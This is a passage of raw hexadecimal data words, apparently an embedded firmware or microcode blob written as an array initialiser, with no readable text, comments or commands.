0xb783430c, 0xc20059ad, 0xb5895a21, 0xb72055c9, 0xb726430c, 0xb52973ab, 0xb7205549, 0xb72d430c, 0xb52967a9, 0xb72054c9, 0xb769430c, 0xfff45631, 0x008b9a2e, 0x5529b749, 0x4e0cb780, 0x55b1b769, 0x4000ba12, 0x0d0201a8, 0xc00008ff, 0xd0299080, 0xd110a0e5, 0x0d040625, 0xffff7117, 0xb720935c, 0xb769430c, 0xb79f5631, 0xb7bf7f6e, 0x8c407fee, 0x92e0fffd, 0xc002a60d, 0x9e568400, 0x0d02c021, 0xc0309e95, 0x9d2e0d00, 0x0205a961, 0x2a70c03e, 0xcfc00a10, 0xc03e290d, 0x32442a70, 0xf0009dae, 0x0a7fa261, 0xd21076d4, 0xc003a221, 0xd3f19304, 0x750a2a3e, 0x5921d1a4, 0x90b2c00c, 0x5908d226, 0xe0508520, 0x94068044, 0x940a957d, 0x941d9418, 0xb7209422, 0xb545430c, 0xc00b5135, 0xb7809280, 0x0906430c, 0x0a10c0a8, 0xa101d208, 0x430cb780, 0x0a14c0a8, 0xa102d208, 0x90a0c00b, 0x430cb720, 0x6e35b544, 0x93e0c00a, 0x430cb720, 0x6fb5b544, 0x9320c00a, 0x99f2fff4, 0x0a869e83, 0xc00e9eaa, 0x55cc2dfc, 0xa021d210, 0x2dfcc00e, 0x99affff4, 0xa9a2d210, 0xe0919eb2, 0x09d28d00, 0x998effb4, 0xa9a2d210, 0x55cc9eaa, 0x2dfcc00e, 0x9b49fff4, 0x430cb720, 0x7c6cb79f, 0x522db585, 0x430cb720, 0x7cecb79f, 0x52adb585, 0x430cb720, 0x7d6cb79f, 0x532db585, 0x430cb720, 0x7decb79f, 0x53adb585, 0xb720aa11, 0xb585430c, 0xb780542d, 0xc0a8430c, 0xd2080a38, 0xc008a281, 0x76d692c0, 0x9164c001, 0x29bed0f2, 0x5a19c180, 0x76fec004, 0x7c6cb59f, 0x90c2c000, 0x430cb720, 0x54b5b561, 0xd324020d, 0xc0fc5931, 0xb7202a00, 0xc200430c, 0xd0f15a19, 0xb57f296e, 0xb55f7270, 0xb59f72e8, 0xb55f7368, 0xb7257a72, 0xe0926c2d, 0x9e8c8d80, 0xc0079c62, 0x76d89140, 0x9384c003, 0x9980fff4, 0x0a869e83, 0xc00e9eaa, 0x55cc2dfc, 0xa021d210, 0x2dfcc00e, 0x993dfff4, 0xa9a2d210, 0x8d00e091, 0xc0029eb2, 0xffb40982, 0xd210991b, 0xc200aa21, 0xd3f252b0, 0xfff429de, 0xf0919ad6, 0xd2c88c00, 0xb780a915, 0x0244430c, 0x7e68b75f, 0x0a00c09e, 0xa115d208, 0x8d00e091, 0x430cb720, 0xaa55d0c8, 0x5a08c200, 0xb79f00c2, 0xb5827c6c, 0xd0c85fad, 0xb720aa55, 0xc200430c, 0x00c25a08, 0x7cecb79f, 0x642db582, 0xaa55d0c8, 0x430cb720, 0x5a08c200, 0xb79f00c2, 0xb5827d6c, 0xd0c868ad, 0xb720aa55, 0xc200430c, 0x00c25a08, 0x7decb79f, 0x6d2db582, 0xaa55d0c8, 0x430cb720, 0x5a08c200, 0xaa1100c2, 0x71adb582, 0xaa55d0c8, 0x430cb720, 0x5a08c200, 0xaa1500c2, 0x762db582, 0xaa55d0c8, 0x430cb720, 0x5a08c200, 0xaa1900c2, 0x462db583, 0x91a0c003, 0xc00176da, 0xd3f192e4, 0x75022a3e, 0x90c2c001, 0xc0007502, 0x750492e6, 0x93e4c002, 0x430cb720, 0x5a21c180, 0x5941c180, 0x4eadb5c2, 0x430cb720, 0x5229b589, 0x430cb720, 0x52a9b549, 0x91a0c002, 0x430cb720, 0x5a41c180, 0x4f2db5c2, 0x430cb720, 0x5329b589, 0x9020c002, 0x430cb720, 0x5a41c180, 0x4fadb5c2, 0x430cb720, 0x53a9b589, 0x92a0c001, 0xc00076dc, 0xb78093c4, 0xd032430c, 0x0902293e, 0x0629d110, 0xc09e5d08, 0xd2080a20, 0xb720a119, 0xc180430c, 0xd1105a11, 0xb5c204a3, 0xb7207aad, 0xd110430c, 0xb58204a3, 0xc0007ead, 0x76de92c0, 0x9164c000, 0x430cb780, 0xc0a80906, 0xd2080a30, 0xc000a101, 0xb7409140, 0xd1a2548c, 0xe2205e08, 0x9ea4aa05, 0xb79f9c62, 0xb7bf7cee, 0xb7df7d6e, 0xc0027dee, 0x9c228c60, 0xb720a60d, 0xb7404d0c, 0x0a164614, 0x402db580, 0x722db585, 0x0a42c809, 0xcc040902, 0xf0500a40, 0xf050a149, 0xf050a15d, 0xf010a141, 0xd0b2a255, 0x02850ea0, 0xfff40b06, 0xf2319990, 0xd3f1aa35, 0x0d82295e, 0x9eb27500, 0xc0000a84, 0x9e5b90e2, 0x4688b5c0, 0x995afff4, 0xffff7544, 0xb79f9204, 0xb7bf7eee, 0xb7df7f6e, 0x8c607fee, 0x5db09c22, 0x0d80c021, 0x0da0c102, 0xaa619d3e, 0xc40059b8, 0xcbfe2980, 0x32462a7d, 0xf0009dbe, 0x9c22a261, 0x430cb720, 0x9e5b0926, 0x6e35b744, 0xd0110802, 0x75101e22, 0x4826b322, 0x9c8bc010, 0x9160c000, 0xaa01d208, 0xc0007106, 0xc00e90a4, 0x9c22287c, 0x02030804, 0x0a14c09e, 0xffff0884, 0xc00e9261, 0x9c22087e, 0xb780a605, 0xb7604e0c, 0x097f430c, 0x04079ea2, 0xa169c020, 0x4038b960, 0x0d820107, 0xc09e0207, 0xd2080a38, 0x0984a902, 0xc0017680, 0xb78093e4, 0xd1104e0c, 0xd3f10535, 0x9ea32ebe, 0x0920c09e, 0xc0300a06, 0xd008a289, 0xb720a259, 0xc000430c, 0xb7605c88, 0xd1105414, 0xd0220483, 0xb54c5e18, 0xb7205631, 0xd120430c, 0xc00401c7, 0xd1100982, 0xb54c0483, 0xb7205731, 0xd110430c, 0xb5430493, 0xb72042b5, 0xb543430c, 0xb78043b5, 0xc101430c, 0xb5430498, 0xb7204455, 0xb543430c, 0xff944535, 0x000b9ac2, 0x90e0c000, 0xfffd0d84, 0xc00e9321, 0xb79f087e, 0xb7bf7f6e, 0x8c407fee, 0xa6059c22, 0x430cb720, 0x02030687, 0x0a30c0a8, 0xaa01d208, 0x55a9b7a9, 0xc0037500, 0x020392c4, 0x0a50c0a0, 0xaa01d208, 0xc0037500, 0x9eab90e4, 0x91c0c000, 0x9b64ffd4, 0x430cb780, 0xc0a89eab, 0xd2080a30, 0x7500aa01, 0x93e4c002, 0x9b7cfff4, 0x743ec01c, 0xffff0d8a, 0xb78091e2, 0xb7204e0c, 0xc2804314, 0xc2405908, 0x7740aa25, 0x5a08c200, 0x00c2c101, 0x7aadb722, 0x4d8cb780, 0xe0409e8a, 0xc001a146, 0xb7699022, 0x09825551, 0x55d1b709, 0x5e30d1a2, 0x01099e9a, 0x0900c021, 0x0930c140, 0x91a0c000, 0xf0009dad, 0xd011a162, 0x9dcd0a28, 0xa162f000, 0xc1000984, 0xc1010900, 0x71110236, 0x925cffff, 0x5a30c280, 0x0a00c021, 0x0910d111, 0x0a40c146, 0xf0009dcd, 0xb786a161, 0x750058c9, 0x9184c000, 0x4fcbb78b, 0xc0007500, 0xb76590e2, 0x9eab684d, 0x9952ffd4, 0x430cb780, 0xc0a00906, 0xd2080a50, 0xb79fa101, 0xb7bf7f6e, 0x8c407fee, 0xb7809c22, 0x9e5a550c, 0x4314b700, 0xaa45c040, 0x5c88c180, 0x0496c101, 0x4000ba24, 0x0528c101, 0x5c88d122, 0x00960492, 0x00920490, 0x4ecbb784, 0x0090c101, 0x6aabb723, 0x4002ba24, 0x0142e000, 0x1124d015, 0x90cac000, 0x0a7ec03e, 0x7088c810, 0x5c88d122, 0x00920096, 0x0090c101, 0x6aabb543, 0x5c88d1a2, 0x430cb780, 0x00920096, 0x0a020098, 0x4eabb584, 0xa6059c22, 0x430cb720, 0xb7849e5d, 0x7d20622d, 0x9182c001, 0x438cb740, 0x0a0ec001, 0x0a64c028, 0xc0007088, 0x0a0290b2, 0x752bb584, 0x430cb720, 0xb5840a06, 0xb720792b, 0xb789430c, 0x01835429, 0xb7419e8b, 0xb7455333, 0xc0286a2d, 0x01b809ec, 0x0dc0c04a, 0x9c629e94, 0x430cb720, 0x622db784, 0x2a3dcffe, 0x622db584, 0x430cb720, 0x4f2bb78b, 0xc0017500, 0xb7449222, 0x748473ad, 0x9124c000, 0x52adb781, 0xc0017500, 0xc0009084, 0x74829140, 0x90e4c000, 0x522db781, 0xc0007502, 0x02039344, 0x0a54c0a0, 0xaa01d208, 0xc0007500, 0x74869244, 0x9144c000, 0xc0a00203, 0xd2080a00, 0x7500aa01, 0x90e4c000, 0x64adb781, 0xc000750a, 0x0a0290a4, 0x4f2bb58b, 0x430cb720, 0xc0aa0203, 0xd2080a10, 0x7500aa01, 0x92a2c000, 0x53abb741, 0x6badb705, 0x73b5b764, 0x4f2bb76b, 0x9e849eaa, 0xb7809c62, 0xc0a0430c, 0xd2080a60, 0xc000a001, 0xb7499120, 0x02036b29, 0x0a60c0a0, 0xa101d208, 0x430cb720, 0x5214b760, 0x5529b749, 0xc0a00183, 0xc00009e0, 0xd0089140, 0x9e91aa61, 0xc0309e52, 0xc00ea229, 0xb789297c, 0xd01255a9, 0x71040922, 0x9268ffff, 0x7f6eb79f, 0x7feeb7bf, 0x9c228c40, 0x4314b720, 0xc09c0596, 0xd0100d80, 0xb704a8f9, 0xba09754d, 0x747f4000, 0x1802d001, 0x48a2b340, 0xc1010092, 0xb7890092, 0xc00e612b, 0xc2002a60, 0x00405a0f, 0xa61d9c22, 0x430cb7a0, 0x9e9e0687, 0xc09a020b, 0xd2080a38, 0x9e57a982, 0x9bdafff4, 0xc09a020b, 0xd2080a34, 0x0301a982, 0x9bd2fff4, 0xc09a020b, 0xd2080a30, 0x008baa01, 0x02589e81, 0x0a00c09c, 0xaa19d208, 0x752db744, 0x4000ba24, 0xc000753f, 0xd01290c4, 0xc00019a2, 0x020b9220, 0x0a18c09a, 0xa881d208, 0x009a0092, 0x612bb789, 0x2a60c00e, 0x5a0fc200, 0x01c4d020, 0xc0007780, 0x9eaa9102, 0xc02a0982, 0xc0020d30, 0x75c690c0, 0x91e2c000, 0xd11e7197, 0xd11d163d, 0xd0111267, 0xd03119c2, 0xc02a6a39, 0xc0010a60, 0x020b9280, 0x0a68c09a, 0xaa01d208, 0xc0007500, 0x9e699222, 0x0a02c409, 0x622db580, 0x0a42c001, 0x0a00c010, 0x6335b5c0, 0x62adb580, 0x93c0c001, 0xb785008b, 0x75004c29, 0x9102c000, 0x1262c101, 0x19c4d011, 0x91a0c000, 0xd01d72c2, 0xd01e1632, 0xd0121616, 0x0a021942, 0xcc129e52, 0xd0317088, 0xc0a26a39, 0xd0200a00, 0xf0100158, 0x9e69aa49, 0xb58074c0, 0xf010622d, 0xb580aa45, 0xf01062ad, 0xb580aa41, 0xc000632d, 0xd0a29236, 0xd3f15d60, 0xc2002a6e, 0x32445a20, 0x2d3ed3f1, 0x3a7cc00e, 0x32445940, 0x622db580, 0x7e6eb79f, 0x7eeeb7bf, 0x7f6eb7df, 0x7feeb7ff, 0x8c00c002, 0xb7209c22, 0xd1a24314, 0x9e9a5cb0, 0x56c9b786, 0x0880c140, 0x0880c021, 0x5a24c200, 0x2a00c020, 0x9d9d3a04, 0xa261f000, 0x09060185, 0x91a0ffbf, 0xa205f839, 0xb7208420, 0x0a02430c, 0x7e6ab59f, 0x5f2bb741, 0xc0a00203, 0x74800a60, 0xa981d208, 0x9104c000, 0x6eadb740, 0x8d00e032, 0x9bd3fff4, 0xaa19f9f8, 0xf8399c22, 0x8420a205, 0x430cb720, 0xb59f0a02, 0xb7417e6a, 0x9ea25f2b, 0xc0007480, 0x02039204, 0x0a38c0a8, 0xa102d208, 0x430cb720, 0x8d00e032, 0xb74009ea, 0xfff46cad, 0xf9f89bb4, 0x9c22aa19, 0xb720a605, 0x9e5d430c, 0x64adb781, 0xc0017504, 0xb7809044, 0xc240528c, 0x7500aa25, 0x9142c000, 0x2afcc00e, 0xfff49eab, 0x9eab9bb3, 0x9180c000, 0xc0a80203, 0xd2080a38, 0x7500aa01, 0x9162c000, 0x2dfcc00e, 0x7f6eb79f, 0x7feeb7bf, 0xfffd8c40, 0xb79f9340, 0xb7bf7f6e, 0x8c407fee, 0xa60d9c22, 0x030774c6, 0xc0009e5d, 0x74c490a2, 0x90a4c000, 0xc0009eb6, 0xb74092c0, 0x0205430c, 0x0a54c0a0, 0xaa01d208, 0xc0007500, 0x0f0690a4, 0x9120c000, 0xc06c0205, 0x71480a60, 0xd0020f02, 0xf2080f62, 0xb720aa31, 0x73994314, 0x9344c000, 0x574db783, 0xa221f208, 0x430cb720, 0x57adb723, 0xa0a5f208, 0x430cb720, 0x582db723, 0xa0a9f208, 0x430cb720, 0x58adb723, 0xa0adf208, 0x90e0c001, 0x5c88d322, 0x5551b769, 0x0092c101, 0x6a35b740, 0x09c2c010, 0xff94010b, 0xb7209873, 0xf208430c, 0xb583aa21, 0xb720572d, 0xf208430c, 0xb583aa25, 0xb72057ad, 0xf208430c, 0xb583aa29, 0xb720582d, 0xf208430c, 0xb583aa2d, 0xb72058ad, 0xd0524314, 0xb7890ad8, 0xba0c5249, 0xc0004008, 0x5888922a, 0x0092c101, 0x5551b769, 0x5035b742, 0xc00e9e6a, 0xff9409f2, 0x0a169845, 0xa231f208, 0xaa21d210, 0x0982c400, 0x0902c200, 0xa221f210, 0xa92ef208, 0x2d7dc9fe, 0xa12ef208, 0x430cb720, 0x7f2db784, 0xb3437500, 0x75004422, 0x4422b342, 0x9e533126, 0xf2083126, 0xb720a12d, 0xb784430c, 0x750273ad, 0x90c2c000, 0x3900c020, 0xa12df208, 0xaa2df208, 0x3a00c010, 0xa22df208, 0x430cb720, 0x73adb784, 0xc0007506, 0xf20893e4, 0xc080aa21, 0xc0007d00, 0x01039102, 0x0974c09a, 0xc0000a02, 0xb78592e0, 0x75004c29, 0x9282c000, 0xc09a0103, 0xd0080974, 0x7500aa41, 0x1a42d002, 0x9104c000, 0x9100c000, 0xc09a0103, 0x0a0a0974, 0xa241d008, 0xaa21f208, 0x7d00c040, 0x93a2c003, 0x430cb720, 0x73adb784, 0xc0037504, 0x018392c4, 0x09f0c09a, 0xa961d008, 0xc0037480, 0xb76491c4, 0xefff7735, 0xc0012dfc, 0x020390a2, 0x0a68c09a, 0xaa01d208, 0xc0007500, 0x020391c2, 0x0a6cc09a, 0xaa01d208, 0xc0007500, 0xd00890c2, 0xc001a161, 0x01039120, 0x0970c09a, 0xd0080a06, 0xb780a241, 0x0902430c, 0x0a74c09a, 0xa101d208, 0x9340c000, 0x02039e8a, 0x0a38c09a, 0x0d34c09a, 0xa901d208, 0xaa41d010, 0xb41b7088, 0xc0004822, 0x0a069162, 0xa261d008, 0x430cb780, 0x0a74c09a, 0xa182d208, 0x430cb720, 0xc09a0203, 0xd2080a70, 0x7500aa01, 0x9284c000, 0x652db784, 0xc0007500, 0xf20891e2, 0x0906aa2d, 0x3a00c081, 0xa22df208, 0x430cb780, 0x0a70c09a, 0xa101d208, 0x430cb780, 0x0a70c09a, 0xaa01d208, 0xc0007500, 0xf2089102, 0xcfbeaa2d, 0xf2082a7d, 0xb720a22d, 0xf208430c, 0xb781a92d, 0x750464ad, 0x9102c000, 0x297dcfde, 0xa12df208, 0x9020c001, 0x0a5ecfff, 0x0a7cc7fe, 0x2128d020, 0xa12ef208, 0x430cb720, 0xc0a00203, 0xd2080a00, 0x7500aa01, 0x90e4c000, 0x5829b786, 0xc0007500, 0x9e539142, 0x2900c800, 0xc0013226, 0xf2083a20, 0xb780a22d, 0xf208430c, 0xc011a9ad, 0xc09a0d02, 0xd2080a68, 0x5964a901, 0x2900c021, 0xf2083126, 0xb780a12d, 0xc09a430c, 0xd2080a6c, 0xc200aa01, 0xc0415a68, 0x31282a00, 0xa12df208, 0x430cb780, 0x297ecfef, 0xc09a9e93, 0xd2080a74, 0x7500aa01, 0xb3420a02, 0x35264444, 0xa12ef208, 0x430cb720, 0xb7839e53, 0xc2004d2b, 0xc0015a50, 0x31382a40, 0xa12df208, 0x430cb720, 0x652db781, 0xc0007508, 0xb7819164, 0x750464ad, 0x90c4c000, 0x3900c201, 0xa12df208, 0x9eab7780, 0x09829eb2, 0x09b2d001, 0x7eeeb79f, 0x7f6eb7bf, 0x7feeb7df, 0xffe78c60, 0xf8399280, 0x04b6a285, 0x4f8cb780, 0x04079e48, 0xa886c040, 0x5014b760, 0x4f0cb780, 0x59c09e40, 0xaa05c040, 0x29fcc00f, 0xa98ac030, 0x75009e9d, 0x5da0349a, 0x8d80e033, 0x3616d010, 0xa9f9d9d8, 0x90c2c000, 0x3a00c201, 0x90e0c000, 0xc0007680, 0xc1019082, 0x74803a00, 0x9082c000, 0x3a00c011, 0xc0007440, 0x74c09122, 0x3a00c021, 0x9082c000, 0x3a00c041, 0x5d08d028, 0x519cb740, 0xe0209e2d, 0xf9f8a26d, 0x9c22aa9d, 0x8420a61d, 0x528cb780, 0xb7c09e5e, 0xc2404314, 0xa199aa45, 0x9d199e73, 0x8c80e0b1, 0x0984c0a0, 0x05857500, 0xd0089e90, 0xb7ffa962, 0xb7bf7e29, 0xb77f7e33, 0xc0007d2b, 0x9e719244, 0x7f2db784, 0xc0007500, 0xb78490e4, 0x750273ad, 0x90e2c000, 0xb7a49e71, 0xc00073ad, 0x0a829060, 0x4d8cb780, 0x5908c300, 0xe0407740, 0xc000abc6, 0x9e719122, 0x732db784, 0x0609d110, 0x284ed3f2, 0xc0a09e74, 0xd2080a58, 0x7500aa01, 0x90a4c000, 0xc0010009, 0x9e7490e0, 0x0a50c0a6, 0xaa01d208, 0xc0007500, 0x080690a2, 0x9380c000, 0xb7899e71, 0xc10155a9, 0x710c00ec, 0x9124c000, 0xc0a60203, 0xd2080a40, 0xc000a815, 0x010391a0, 0xc0a60203, 0xc0a60944, 0xd2080a40, 0xd008aa15, 0x1044a955, 0xc10175c2, 0xc00000ec, 0xb5299172, 0xb7207b31, 0x00e2430c, 0x7a31b509, 0x9100c000, 0x7b29b789, 0x0619d110, 0x7b29b589, 0xc00074c0, 0x9e719104, 0x4f29b787, 0xc0057500, 0xb72092a2, 0xc1004314, 0x5d985c08, 0x049dd110, 0x6f4db744, 0x7a29b769, 0x7b31b749, 0xd0f15938, 0xcc002e08, 0xc03c2900, 0x59e02d80, 0x9e5a3244, 0x5d409e9b, 0xb72b3526, 0x32444f4b, 0x74409e52, 0xd0113244, 0xd0202956, 0xc0003144, 0xc0809082, 0x9e4c3d00, 0x0a58c0a0, 0xaa01d208, 0xc0007500, 0xc0409082, 0x9dcf3d00, 0xc00076c0, 0xc1009082, 0xc0003d00, 0xc00f5a40, 0xc3802a7c, 0x31c45960, 0x77409e4c, 0x0a30c09a, 0xaa01d208, 0x540cb740, 0x39b4d002, 0x5a08c200, 0x024cc101, 0xaa11f208, 0x0482d010, 0x0e82c124, 0xc3007500, 0x02445a18, 0xd002a919, 0x028939b2, 0xa101f208, 0x462db723, 0xa106f208, 0xa189f208, 0xa08df208, 0x9eaa9e6b, 0x0ec09eb3, 0x9881ff74, 0x7740c250, 0xffff0ac0, 0x9eb392e4, 0x0982c004, 0xc124050f, 0xff740902, 0x9eb3995e, 0x9975ff74, 0xb7879e71, 0x75004f29, 0x93e2c000, 0x4d8cb740, 0x5908d324, 0xc101aa19, 0xf0100524, 0xc006a9c1, 0xc3000a7c, 0x02465930, 0x2a01cffc, 0x0900c021, 0xa241f010, 0x0940c146, 0x0a00c004, 0xf0009dad, 0xc000a261, 0x9eb392e0, 0xc004050f, 0xc1240982, 0xff740902, 0x9eb39953, 0x7deeb79f, 0x7e6eb7bf, 0x7eeeb7df, 0x7f6eb7ff, 0x8c20c002, 0x93a0ff69, 0x7deeb79f, 0x7e6eb7bf, 0x7eeeb7df, 0x7f6eb7ff, 0x8c20c002, 0xb7209c22, 0x9e5a430c, 0xc0a60203, 0xd2080a50, 0x7500aa01, 0x9222c000, 0x02039e8a, 0x0d4cc0aa, 0x0a68c0a6, 0xa901d208, 0xaa41d010, 0x70880802, 0x0802d003, 0xb7869c22, 0x750056a9, 0x9162c000, 0x4e8cb780, 0xaa45c040, 0xc0007500, 0x08069082, 0x02229c22, 0xc0a60109, 0xc0a60940, 0xd2080a60, 0xd008aa01, 0x0802a955, 0xd0037104, 0x9c220802, 0x430cb720, 0x02030c06, 0x0a10c0b6, 0xc0b60103, 0xd2080914, 0xd008a981, 0xb729a941, 0x9e9a5531, 0x4000ba12, 0x72821d04, 0x9096c000, 0x55b1b749, 0x2daed3f2, 0x560cd022, 0xc01c2228, 0xc0007d3e, 0x729790a4, 0x9204ffff, 0x0e28d011, 0x460cb740, 0x02446a52, 0x0948d031, 0xaa41f008, 0x02037508, 0x0a10c0b6, 0x4a22b402, 0xa182d208, 0xb7409c22, 0x0205430c, 0x0a14c0b6, 0xaa01d208, 0xc0007500, 0x020590e4, 0x0a10c0b6, 0xa182d208, 0x0a069e5a, 0x5208c200, 0x430cb740, 0x0914c0b6, 0xa942d008, 0x32469e53, 0xa241d008, 0xa6059c22, 0xc0009e5d, 0xffb49080, 0xb78098c9, 0x0d92430c, 0x0a10c0b6, 0xaa01d208, 0xffff710a, 0xb79f92c4, 0xb7bf7f6e, 0x8c407fee, 0xb7809c22, 0x9e5a520c, 0x430cb720, 0xaa45c040, 0xb7415db0, 0xc00271ad, 0xc0212a7c, 0x32440d80, 0x0df0c116, 0xf0009dbe, 0x9c22a261, 0xb720a60d, 0xb783430c, 0x75004d2b, 0x9342c003, 0x6eadb784, 0xc0037500, 0xb78192a2, 0xb7416a2d, 0xb74168ad, 0xb7616935, 0xc20069ad, 0x59405a20, 0xc0015d60, 0xc3f0297c, 0xb7a92a00, 0xc3f15531, 0x32442d00, 0x9e5229fc, 0xb7c93246, 0x31c455a9, 0x0d829e6a, 0x91e0c000, 0xf0009dad, 0xc021a1e1, 0xc0340a00, 0x9d4d0a00, 0xd3f1aa61, 0xc1012d2e, 0xd01205b8, 0x708c0922, 0x5e30d122, 0xc0210109, 0xc0320900, 0xffff0960, 0xb7809134, 0xb741412d, 0xb7606ab5, 0xb7a141ad, 0xb741682d, 0x61b967ad, 0xc0015d60, 0xcff00a1e, 0xc0310a00, 0xc2802d00, 0x59205ad0, 0xc00f2128, 0x9e542ac0, 0x32d832d4, 0x9a9dc0f4, 0x287cc00e, 0x098232d0, 0x91c0c000, 0xf0009dad, 0xc021a2e1, 0xc0340a00, 0x9dcd0a00, 0xa1e1f000, 0x2eaed3f2, 0x0d52d012, 0x5e30d122, 0x0109735d, 0x0900c021, 0x0970c032, 0x9154ffff, 0x7eeeb79f, 0x7f6eb7bf, 0x7feeb7df, 0x9c228c60, 0xb720a605, 0x0687430c, 0xc09a0203, 0xd2080a18, 0x7500aa01, 0x9064c007, 0x6fadb7a4, 0x6e2db764, 0xc0007540, 0xb7449222, 0x729b6eb5, 0x9188c000, 0xc09a0203, 0xd2080a1c, 0xc101a901, 0x71041254, 0x90c6c000, 0xc00674c0, 0x02879142, 0xb7840103, 0xc09a6ead, 0xd008091c, 0x1258a941, 0xc0057104, 0xb78993c8, 0x0d865529, 0x55e89ea2, 0x2dfcc00e, 0x9bf7ff94, 0x430cb720, 0x4c29b785, 0xc0027500, 0xb7899082, 0x09825429, 0xd0129e99, 0xc00009c4, 0xd0109120, 0x0218aa5d, 0x0a00c09c, 0xa09ad208, 0x430cb720, 0x0537d110, 0x02140984, 0x02039ea2, 0x0a78c09a, 0xaa01d208, 0x0d60c09a, 0xffff7088, 0x0a029158, 0x4c29b585, 0x430cb720, 0xb76909c2, 0xb7405531, 0x010374b5, 0x0910c098, 0x9ba8ff54, 0x430cb780, 0xc09a0906, 0xd2080a1c, 0xb720a101, 0x0203430c, 0x0a1cc09a, 0xaa01d208, 0xb5811a04, 0xc00152ad, 0xb7849180, 0x01036ead, 0x091cc09a, 0xd0081258, 0xb720a241, 0xc004430c, 0x020309d2, 0x0a1cc09a, 0xaa01d208, 0xb5811a04, 0xb72052ad, 0x0203430c, 0x0a1cc09a, 0xaa01d208, 0x6335b741, 0x5531b769, 0x5a1cc200, 0x0d01cff0, 0xc1010103, 0xc0a20528, 0xff540900, 0xb7209b6b, 0x0a86430c, 0xb7699eaa, 0x55cc5531, 0x2dfcc00e, 0x9923ffb4, 0x460cb740, 0xaa41f048, 0xc0007508, 0xf0489084, 0xb720a2c1, 0x0203430c, 0x0a1cc09a, 0xaa01d208, 0x612bb749, 0xc2001a04, 0xcff05a0c, 0xc00e291d, 0x32442a60, 0x612bb589, 0x430cb740, 0xc0a00205, 0xd2080a54, 0x7500aa01, 0x9224c000, 0xc09a0205, 0xd2080a18, 0x0092a881, 0xb7890094, 0xc00e612b, 0xc2002a60, 0xd2105a0f, 0xb720a221, 0xd210430c, 0xb744aa21, 0xba24752d, 0x02444000, 0x7f2db584, 0x430cb720, 0x7f2db784, 0x0890c09e, 0x4029b580, 0x430cb720, 0x7f2db784, 0x742db744, 0xb5841244, 0xb79f7f2d, 0xb7bf7f6e, 0x8c407fee, 0xa61d9c22, 0x8460c008, 0x4314b7a0, 0x9e699e6c, 0x0a30c0a8, 0xa981d208, 0x652db7a1, 0xc02974c0, 0x9e6a9184, 0xc0a80a06, 0xd0080934, 0xb780a241, 0x096a430c, 0x0a5cc0a0, 0xa101d208, 0x430cb720, 0x43adb565, 0x430cb720, 0xc0a00203, 0xd2080a00, 0x7500aa01, 0x90e2c000, 0x7fadb784, 0xb5840a04, 0xb7407fad, 0xc09a430c, 0xd0080918, 0x0a04aa41, 0xa241d008, 0x430cb780, 0x01099ea2, 0x0d18c09a, 0x091cc09a, 0xaa41d010, 0xa941d008, 0xb41a7104, 0xb7204442, 0xb784430c, 0x1a04702d, 0x702db584, 0x430cb740, 0xc09a0205, 0xd2080a18, 0x9e92a881, 0x00940092, 0x612bb789, 0x0d00c0a0, 0xc2002a10, 0xd0105a0b, 0xb720a241, 0x9e4c4314, 0x0a18c09a, 0xa881d208, 0xc1010092, 0xb7890092, 0x0109612b, 0x2900c0f0, 0x5821d124, 0x5831c200, 0xc8129e43, 0x2a0c70c0, 0x73cdb584, 0x4314b720, 0x03850904, 0xc09a9e4a, 0xd0080918, 0x0092a8c1, 0x0092c101, 0x612bb789, 0x2a60c00e, 0x5a0fc200, 0x7468b59e, 0xaa41d008, 0xc0057500, 0xb78492c4, 0xb5846ecd, 0xb720754d, 0xb745430c, 0x76845135, 0x9182c002, 0x6eadb744, 0xc0007480, 0xb7819242, 0x7500522d, 0x90e2c000, 0x702db784, 0xc0007500, 0x7682911c, 0x90a2c000, 0xc0017680, 0xb78492e4, 0xe000742d, 0xc0001128, 0xb7819142, 0x708851ad, 0x90a8c000, 0xc0007680, 0x010393c4, 0x0954c0a0, 0xd0080a06, 0xb720a241, 0x0902430c, 0x7fadb544, 0x430cb720, 0x7f2db544, 0x430cb720, 0x6eadb784, 0x742db584, 0x430cb720, 0xb55e0a7f, 0xb5847468, 0xb72076ad, 0x0a06430c, 0x73adb584, 0x430cb720, 0x522db781, 0x702db584, 0x430cb720, 0x0a7ec00e, 0xb5850d86, 0xb740512d, 0xc09a430c, 0xd008097c, 0x0a04aa41, 0xa241d008, 0x430cb780, 0x01099ea2, 0x0d7cc09a, 0x0978c09a, 0xaa41d010, 0xa941d008, 0xd0147104, 0xb4221244, 0xc0004448, 0xd01093a0, 0xd110aa41, 0xd0080639, 0xb780a25d, 0xc101430c, 0x01850146, 0x0a78c09a, 0x09e0c09a, 0xa901d208, 0xaa7dd008, 0x71040d84, 0x1144d020, 0x9086c000, 0xa17ed008, 0x430cb720, 0x0216c101, 0x02030109, 0x0a78c09a, 0xaa01d208, 0xc09a9e8a, 0xc09a0960, 0x72d90d7c, 0x92b8fffe, 0x5429b789, 0xc09a0218, 0xd2080a60, 0x0218aa1d, 0x0a00c09c, 0xa919d208, 0xd2081904, 0xb740a119, 0x9e544314, 0x0a00c0a0, 0xaa01d208, 0xc0017500, 0xc00e91c2, 0xd1102bfc, 0x9e52062f, 0x0a60c09a, 0xaa1dd208, 0x0930c09a, 0xa241d008, 0x430cb780, 0xc09a0109, 0xd0080930, 0xd1e8a942, 0xc101a949, 0xc09c0244, 0xd2080a00, 0xb720a119, 0x0203430c, 0x0a30c09a, 0xaa01d208, 0x7fadb744, 0x5a08c200, 0xb54400c2, 0xc00179ad, 0x9e5492a0, 0x0a78c09a, 0xa901d208, 0x0124c101, 0x0960c09a, 0xaa5dd008, 0xd0080a04, 0xb780a25d, 0x0109430c, 0x0978c09a, 0xa941d008, 0x9ea20228, 0xc09a0908, 0xd0100d60, 0x7104aa5d, 0x90b8c000, 0xd0101a08, 0xb780a25d, 0x0109430c, 0x0978c09a, 0xa941d008, 0x02449ea2, 0x0a60c09a, 0xaa1dd208, 0x0d30c09a, 0xa241d010, 0x430cb740, 0x0220c101, 0x0a60c09a, 0xaa1dd208, 0x0934c09a, 0xa241d008, 0x430cb720, 0x5429b749, 0x7fadb784, 0x71049e8a, 0x0d38c09a, 0x9134c000, 0xc09a0210, 0xd2080a60, 0xc000aa1d, 0x020390e0, 0x0a34c09a, 0xaa01d208, 0xa241d010, 0x430cb740, 0x0d029e69, 0x0970c09a, 0x5629b786, 0xa142d008, 0x4314b720, 0xb7647500, 0xc00073cd, 0xb78190c2, 0xc000744d, 0xb7819080, 0x74c674cd, 0x624db584, 0x9182c000, 0xc00074c2, 0xb7209222, 0xb784430c, 0x3a04622d, 0x9100c000, 0x430cb720, 0x622db784, 0x3a00c008, 0x622db584, 0x430cb780, 0x0a30c09a, 0xaa01d208, 0x5a08c200, 0x0242c101, 0xa911f208, 0xc0007480, 